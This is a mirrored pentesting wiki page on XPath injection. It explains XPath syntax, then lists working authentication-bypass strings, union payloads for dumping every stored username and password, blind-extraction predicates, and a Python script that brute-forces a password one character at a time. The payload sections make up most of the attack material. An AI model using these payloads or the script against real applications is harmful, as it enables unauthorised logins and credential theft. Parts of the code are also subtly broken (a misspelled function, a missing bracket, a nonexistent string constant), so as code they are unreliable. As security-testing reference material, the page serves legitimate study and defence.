mirror of
https://github.com/carlospolop/hacktricks
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265 lines
8.4 KiB
Markdown
265 lines
8.4 KiB
Markdown
# XPATH injection
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XPath Injection is an attack technique used to exploit applications that construct XPath \(XML Path Language\) queries from user-supplied input to query or navigate XML documents.
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Info about how to make queries: [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath_syntax.asp)
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## **Basic Syntax**
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### Nodes
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| Expression | Description |
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| :--- | :--- |
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| nodename | Selects all nodes with the name "nodename" |
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| / | Selects from the root node |
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| // | Selects nodes in the document from the current node that match the selection no matter where they are |
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| . | Selects the current node |
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| .. | Selects the parent of the current node |
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| @ | Selects attributes |
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### **Examples:**
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| Path Expression | Result |
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| :--- | :--- |
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| bookstore | Selects all nodes with the name "bookstore" |
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| /bookstore | Selects the root element bookstore**Note:** If the path starts with a slash \( / \) it always represents an absolute path to an element! |
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| bookstore/book | Selects all book elements that are children of bookstore |
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| //book | Selects all book elements no matter where they are in the document |
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| bookstore//book | Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore element |
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| //@lang | Selects all attributes that are named lang |
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### Predicates
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<table>
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<thead>
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<tr>
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<th style="text-align:left">Path Expression</th>
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<th style="text-align:left">Result</th>
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</tr>
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</thead>
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<tbody>
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<tr>
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<td style="text-align:left">/bookstore/book[1]</td>
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<td style="text-align:left">
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<p>Selects the first book element that is the child of the bookstore element.<b>Note:</b> In
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IE 5,6,7,8,9 first node is[0], but according to W3C, it is [1]. To solve
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this problem in IE, set the SelectionLanguage to XPath:</p>
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<p>In JavaScript: xml.setProperty("SelectionLanguage","XPath");</p>
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</td>
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</tr>
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<tr>
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<td style="text-align:left">/bookstore/book[last()]</td>
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<td style="text-align:left">Selects the last book element that is the child of the bookstore element</td>
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</tr>
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<tr>
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<td style="text-align:left">/bookstore/book[last()-1]</td>
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<td style="text-align:left">Selects the last but one book element that is the child of the bookstore
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element</td>
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</tr>
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<tr>
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<td style="text-align:left">/bookstore/book[position()<3]</td>
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<td style="text-align:left">Selects the first two book elements that are children of the bookstore
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element</td>
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</tr>
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<tr>
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<td style="text-align:left">//title[@lang]</td>
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<td style="text-align:left">Selects all the title elements that have an attribute named lang</td>
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</tr>
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<tr>
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<td style="text-align:left">//title[@lang='en']</td>
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<td style="text-align:left">Selects all the title elements that have a "lang" attribute
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with a value of "en"</td>
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</tr>
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<tr>
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<td style="text-align:left">/bookstore/book[price>35.00]</td>
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<td style="text-align:left">Selects all the book elements of the bookstore element that have a price
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element with a value greater than 35.00</td>
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</tr>
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<tr>
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<td style="text-align:left">/bookstore/book[price>35.00]/title</td>
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<td style="text-align:left">Selects all the title elements of the book elements of the bookstore element
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that have a price element with a value greater than 35.00</td>
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</tr>
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</tbody>
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</table>
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### Unknown Nodes
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| Wildcard | Description |
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| :--- | :--- |
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| \* | Matches any element node |
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| @\* | Matches any attribute node |
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| node\(\) | Matches any node of any kind |
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### **Examples:**
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| Path Expression | Result |
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| :--- | :--- |
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| /bookstore/\* | Selects all the child element nodes of the bookstore element |
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| //\* | Selects all elements in the document |
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| //title\[@\*\] | Selects all title elements which have at least one attribute of any kind |
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## Example
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```text
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<data>
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<user>
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<name>pepe</name>
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<password>peponcio</password>
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<account>admin</account>
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</user>
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<user>
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<name>mark</name>
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<password>m12345</password>
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<account>regular</account>
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</user>
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<user>
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<name>fino</name>
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<password>fino2</password>
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<account>regular</account>
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</user>
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</data>
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```
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```text
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All names - [pepe, mark, fino]
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name
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//name
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//name/node()
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//name/child::node()
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user/name
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user//name
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/user/name
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//user/name
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All values - [pepe, peponcio, admin, mark, ...]
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//user/node()
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//user/child::node()
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Positions
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//user[position()=1]/name #pepe
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//user[last()-1]/name #mark
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//user[position()=1]/child::node()[position()=2] #peponcio (password)
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Functions
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count(//user/node()) #3*3 = 9 (count all values)
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string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
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substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
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```
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## Authentication Bypass
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### **Example of queries:**
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```text
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string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
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$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
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```
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### **OR bypass in user and password \(same value in both\)**
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```text
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' or '1'='1
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' or ''='
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string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
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Select account
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Select the account using the username and use one of the previous values in the password field
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```
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### **Abusing null injection**
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```text
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Username: ' or 1]%00
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```
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### **Double OR in Username or in password** \(is valid with only 1 vulnerable field\)
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IMPORTANT: Notice that the **"and" is the first operation made**.
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```text
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Bypass with first match
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(This requests are also valid without spaces)
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' or /* or '
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' or "a" or '
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' or 1 or '
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' or true() or '
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string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
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Select account
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'or string-length(name(.))<10 or' #Select account with length(name)<10
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'or contains(name,'adm') or' #Select first account having "adm" in the name
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'or contains(.,'adm') or' #Select first account having "adm" in the current value
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'or position()=2 or' #Select 2º account
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string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
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Select account (name known)
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admin' or '
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admin' or '1'='2
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string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
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```
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## String extraction
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The output contains strings and the user can manipulate the values to search:
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```text
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/user/username[contains(., '+VALUE+')]
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```
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```text
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') or 1=1 or (' #Get all names
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') or 1=1] | //user/password[('')=(' #Get all names and passwords
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') or 2=1] | //user/node()[('')=(' #Get all values
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')] | //./node()[('')=(' #Get all values
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')] | //node()[('')=(' #Get all values
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') or 1=1] | //user/password[('')=(' #Get all names and passwords
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')] | //password%00 #All names and passwords (abusing null injection)
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')]/../*[3][text()!=(' #All the passwords
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')] | //user/*[1] | a[(' #The ID of all users
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')] | //user/*[2] | a[(' #The name of all users
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')] | //user/*[3] | a[(' #The password of all users
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')] | //user/*[4] | a[(' #The account of all users
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```
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## Blind Explotation
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### **Get length of a value and extract it by comparisons:**
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```text
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' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
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' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
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Other way
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substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
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```
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### **Example:**
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```text
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import requests, string
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flag = ""
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l = 0
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alphabet = string.ascii_letters + string.ascii_digits + "{}_()"
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for i in range(30):
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r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
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if ("TRUE_COND" in r.text):
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l = i
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break
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print("[+] Password length: " + str(l))
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for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
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for al in alphabet:
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r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
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if ("TRUE_COND" in r.text):
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flag += al
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print("[+] Flag: " + flag)
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break
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```
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## References
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[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection)
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